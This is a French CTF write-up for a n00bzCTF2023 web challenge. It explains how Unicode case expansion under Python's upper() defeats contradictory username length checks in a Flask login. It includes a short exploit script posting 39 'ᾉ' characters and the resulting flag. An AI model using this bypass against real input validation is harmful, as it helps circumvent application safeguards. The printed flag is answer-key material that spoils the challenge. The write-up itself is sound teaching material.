Récompense

Ce Writeup à été récompensé comme “Winner of n00bzCTF2023 Best Well Written Writeup award!”

Énoncé

Dans ce challenge, on nous a donné un fichier python server.py et voici son contenu:

from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib
flag = open('flag.txt').read()
app = Flask(__name__)
@app.route('/')
def main():
    return redirect('/login')

@app.route('/login',methods=['GET','POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        if len(request.values["username"]) >= 40:
            return render_template_string("Username is too long!")
        elif len(request.values["username"].upper()) <= 50:
            return render_template_string("Username is too short!")
        else:
            return flag
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

La route /login de cette application Flask est destinée à gérer à la fois les requêtes GET et POST. Les requêtes GET servent simplement à renvoyer le formulaire de connexion, tandis que les requêtes POST sont utilisées pour traiter les informations soumises par l’utilisateur via ce formulaire.

Lorsqu’une requête POST est reçue, le code vérifie deux conditions en ce qui concerne le nom d’utilisateur :

  • Si la longueur du nom d’utilisateur est de 40 caractères ou plus, l’application renvoie un message d’erreur indiquant que le nom d’utilisateur est trop long.

  • Si la longueur du nom d’utilisateur, après avoir été converti en majuscules avec .upper(), est de 50 caractères ou moins, l’application renvoie un message d’erreur indiquant que le nom d’utilisateur est trop court.

Nous pouvons remarquer une contradiction entre les conditions puisqu’il semble impossible de choisir un nom d’utilisateur qui satisfait ces deux conditions, car une chaîne de caractères ne peut pas être à la fois inférieure à 40 caractères et supérieure à 50 caractères en même temps.

Mais pourquoi lors de la deuxième condition, la chaine de l’utilisateur est convertie en majuscules avec upper() ?

En cherchant sur internet des informations concernant un potentiel bug qui à été detecté sur upper(), je tombe sur ce lien StackOverflow

Pour vous expliquer ça, c’est ce que l’on appelle la “décomposition” en Unicode : certains caractères peuvent se décomposer en plusieurs autres caractères lorsqu’ils subissent certaines transformations, comme le passage en majuscules. Par exemple, la lettre 'ᾉ' (capital alpha with dasia and prosgegrammeni, U+1F89) se décompose en 'ἉΙ' lorsqu’elle est convertie en majuscules. Merci les grecs :D

Dans le contexte de ce code, si vous envoyez un nom d’utilisateur qui a moins de 40 caractères mais qui, une fois converti en majuscules, a plus de 50 caractères, vous pouvez contourner les contrôles de longueur et obtenir le flag.

Exploitation

Voici le code python qui permet d’exploiter la vulnérabilité sur l’hôte:

import requests

def main():
	url = "http://challs.n00bzunit3d.xyz:42552/login"
	data = {"username": "ᾉ" * 39}
	response = requests.post(url, data=data)
	print("Flag:", response.text)

if __name__ == '__main__':
	main()

Même si la longueur initiale du nom d’utilisateur est de 39 caractères (ce qui est inférieur à 40 et ne déclencherait pas l’erreur "Username is too long!"), une fois passé à la méthode upper(), la longueur de la chaîne devient 78 caractères (ce qui est supérieur à 50 et ne déclencherait pas l’erreur "Username is too short!").

Par conséquent, ce script est en mesure de contourner les vérifications de longueur dans l’application Flask et obtient le flag.

Voici le résultat:

python flag.py 
Flag: n00bz{1mp0551bl3_c0nd1t10n5_m0r3_l1k3_p0551bl3_c0nd1t10ns}

Nous obtenons le flag n00bz{1mp0551bl3_c0nd1t10n5_m0r3_l1k3_p0551bl3_c0nd1t10ns}